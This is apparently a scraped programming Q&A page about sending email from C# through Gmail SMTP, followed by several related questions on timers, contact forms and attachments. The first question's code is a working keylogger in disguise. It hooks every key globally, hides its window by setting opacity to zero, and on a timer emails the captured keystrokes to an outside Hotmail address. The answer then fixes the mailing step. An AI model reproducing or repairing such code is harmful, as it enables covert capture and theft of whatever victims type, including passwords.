I cannot send an email to myself through smtp and trough Gmail and Hotmail.
Do you have any ideas how it can be solved or where the error is?
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string log;
string klokkeslæt;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll() //funktionen Hookall oprettes
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
this.Opacity = 0;
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
log = log + " " + e.KeyCode;
}
private void timer1_Tick(object sender, EventArgs e)
{
MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "gymjoy#hotmail.com");
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
mail.From = new MailAddress("eksamensprojekt2014#gmail.com");
mail.To.Add("gymjoy#hotmail.com");
klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
mail.Subject = klokkeslæt;
mail.Body = log;
// SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014#gmail.com", "*********");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
mail.Priority = MailPriority.Normal;
SmtpServer.useDefaultCredentials = true;
}
}
Try with below code it working fine.
MailMessage message = new MailMessage();//Not set from and to address here.
SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
string msg = string.Empty;
try
{
MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
message.From = fromAddress;
message.To.Add("gymjoy#hotmail.com");
message.Subject = "Test";
message.IsBodyHtml = true;
message.Body = "Test";
smtpClient.Host = "smtp.gmail.com"; // We use gmail as our smtp client
smtpClient.Port = 587;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = true;
smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");
smtpClient.Send(message);
msg = "Successful<BR>";
}
catch (Exception ex)
{
msg = ex.Message;
}
Related
I'm trying to make support form from C#. But when I send an email I get:
System.Net.Mail.SmtpException: 'Syntax error in parameters or
arguments. The server response was: 5.5.4 HELO/EHLO argument "/f"
invalid, closing connection.'
Here is my code;
private void button2_Click(object sender, EventArgs e)
{
using (MailMessage mailMessage = new MailMessage())
{
string email = YourEmail_box.Text;
mailMessage.From = new MailAddress(YourEmail_box.Text);
mailMessage.To.Add(Globals.supportemail);
mailMessage.Subject = "New Email from " + email.ToString() + " [Howling-Software]";
mailMessage.Body = this.subjectbox.Text;
mailMessage.IsBodyHtml = true;
using (SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587))
{
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = new NetworkCredential(Globals.credical_user, Globals.credical_pass);
smtpClient.EnableSsl = true;
smtpClient.Send(mailMessage);
}
}
}
This is a working solution, and a bit cleaner solution :)
var message = new MailMessage(FromEmailAdress, ToEmailAdress);
message.Subject = subject;
message.Body = message;
using (SmtpClient mailer = new SmtpClient("smtp.gmail.com", 587))
{
mailer.Credentials = new NetworkCredential(FromEmailAdress, password);
mailer.EnableSsl = true;
mailer.Send(message);
}
I am creating a windows service to send mail at specific time intervals. I want to enable a timer to work a mail_send().
private void timer1(object sender, EventArgs e) {
// I need a code here to work with email_send()
timer1.Elapsed += new ElapsedEventHandler(email_send);
}
public void email_send(object sender, System.Timers.ElapsedEventArgs e) {
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("email from");
mail.To.Add("emailto");
mail.Subject = DateTime.Now +"logfile";
mail.Body = "mail with log file attachment";
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("F:\\logfile\\logfile.txt");
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("emailfrom", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
You should run your timer by calling method Start() in order to "enable" it.
private void timer1(object sender, EventArgs e)
{
timer1.Elapsed += new ElapsedEventHandler(email_send);
timer1.Start();
}
First Initialize the timer
public static void Main()
{
InitializeTimer();
timerr.Start();
}
You can use the Start and stop to start the timmer and Stop timmer
private void InitializeTimer()
{
Timer timerr = new Timer();
timerr.Interval = 5000;
timerr.Tick += Timerr_Tick;
}
then write tick event.
private void Timerr_Tick(object sender, EventArgs e)
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("email from");
mail.To.Add("emailto");
mail.Subject = DateTime.Now +"logfile";
mail.Body = "mail with log file attachment";
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("F:\\logfile\\logfile.txt");
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("emailfrom", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
This is the code for email sending, but it doesn't give any results, there are no errors , also in debugger there are no alerts:
public void EmailSending()
{
try
{
SmtpClient smtp = new SmtpClient("poczta.silesianet.pl", 587);
smtp.Timeout = 20000;
smtp.EnableSsl = true;
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.UseDefaultCredentials = false;
NetworkCredential Credentials = new NetworkCredential("userName", PB_AddPassword.Password, "https://poczta.silesianet.pl/");
smtp.Credentials = Credentials;
MailMessage message = new MailMessage("from#mail","to#mail");
message.Subject = "Topic:"
message.IsBodyHtml = true;
message.Body = "Body";
IntPtr accountToken = WindowsIdentity.GetCurrent().Token;
smtp.SendAsync(message, accountToken);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
}
}
And this is the code for the password, but something is also wrong because it doesn't remember it :
private void PB_AssPassword_TextInput(object sender, TextCompositionEventArgs e)
{
string Pass= PB_AssPassword.Password;
hasło = Environment.GetEnvironmentVariable("Pass");
if (Pass== null)
{
Environment.SetEnvironmentVariable("Pass", "Value1");
}
}
Could anyone help me with this?
I need to send two mails one to client and one to admin in asp.net
Below is the code i used but it didn't send two mails , it just sent mail to client only
I had made two functions one for admin one for client but it doesn't work.
using System;
using System.Net.Mail;
namespace Mail
{
public partial class Mail : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
public void admin()
{
try
{
MailMessage Msg = new MailMessage();
// Sender e-mail address.
Msg.From = new MailAddress(txtEmail.Text);
// Recipient e-mail address.
Msg.To.Add("email#gmail.com");
Msg.Subject = txtSubject.Text;
Msg.Body = "UserName " + txtName.Text + " UserEmail " + txtEmail.Text + "</br>";
// your remote SMTP server IP.
SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.Credentials = new System.Net.NetworkCredential("email#gmail.com", "password");
smtp.EnableSsl = true;
smtp.Send(Msg);
//Msg = null;
lbltxt.Text = "Thanks for Contact us";
// Clear the textbox valuess
txtName.Text = "";
txtSubject.Text = "";
txtMessage.Text = "";
txtEmail.Text = "";
}
catch (Exception ex)
{
Console.WriteLine("{0} Exception caught.", ex);
}
}
public void client()
{
try
{
MailMessage Msg = new MailMessage();
// Sender e-mail address.
Msg.From = new MailAddress(txtEmail.Text);
// Recipient e-mail address.
Msg.To.Add(txtEmail.Text);
Msg.Subject = "Thanks you for downloading our product";
Msg.Body = "we loves your privacy , this product is in BETA Mode , Do Feedback us about this Product http://www.google.com >";
// your remote SMTP server IP.
SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.gmail.com";
smtp.Port = 587;
smtp.Credentials = new System.Net.NetworkCredential("email#gmail.com", "password");
smtp.EnableSsl = true;
smtp.Send(Msg);
//Msg = null;
lbltxt.Text = "Thanks for Contact us";
// Clear the textbox valuess
txtName.Text = "";
txtSubject.Text = "";
txtMessage.Text = "";
txtEmail.Text = "";
}
catch (Exception ex)
{
Console.WriteLine("{0} Exception caught.", ex);
}
}
protected void btnSubmit_Click(object sender, EventArgs e)
{
admin();
client();
}
}
}
My main purpose is to simply send a mail to myself with an attachment.
Currently, I am using an smtp client, but it takes ~5 mins and is very unreliable.
Here is my current code:
private SmtpClient smtp;
private void button2_Click(object sender, EventArgs e)
{
if (smtp != null)
return;
string username = "", password = "";
if (checkBox2.Checked)
username = textBox7.Text;
if (checkBox3.Checked)
password = textBox8.Text;
if (username != "" || password != "")
{
//save info
}
label17.Text = "In Progress...";
MailAddress me = new MailAddress(textBox7.Text, "Me");
smtp = new SmtpClient("smtp.gmail.com", 465);
smtp.Timeout = 300000;
smtp.EnableSsl = true;
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.UseDefaultCredentials = false;
smtp.Credentials = new System.Net.NetworkCredential(me.Address, textBox8.Text);
MailMessage message = new MailMessage(me, me);
message.Subject = page.ActiveDocument.Name;
message.Body = "r u mad tho?";
string path = "path to file";
message.Attachments.Add(new Attachment(path));
smtp.SendCompleted += Completed;
smtp.SendAsync(message, label17.Text);
}
private void Completed(object sender, EventArgs e)
{
label17.Text = "Done!";
smtp.Dispose();
smtp = null;
}
The string path value is negligible; I know for sure it is a correct path, and so is the username/password.